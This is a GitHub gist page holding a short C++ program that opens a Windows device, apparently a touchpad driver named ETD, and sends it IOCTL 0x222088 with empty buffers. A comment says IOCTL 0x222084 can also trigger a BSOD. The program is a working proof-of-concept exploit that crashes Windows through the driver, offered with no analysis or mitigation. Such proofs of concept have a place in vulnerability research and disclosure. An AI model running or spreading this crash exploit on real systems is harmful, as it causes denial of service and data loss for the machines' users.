Skip to content

Instantly share code, notes, and snippets.

@puppis42
Created May 28, 2023 10:40
Show Gist options
  • Save puppis42/5778ceac622b821f05299d2194aa84f0 to your computer and use it in GitHub Desktop.
Save puppis42/5778ceac622b821f05299d2194aa84f0 to your computer and use it in GitHub Desktop.
#include <iostream>
#include <Windows.h>
int main()
{
//std::cout << "Hello World!\n";
//0x222084 IOCTL can also be used to trigger BSOD
HANDLE deviceHandle = CreateFile(L"\\\\.\\GLOBALROOT\\DEVICE\\ETD",
GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
DeviceIoControl(deviceHandle, 0x222088, NULL, 0, NULL, 0, 0, NULL);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment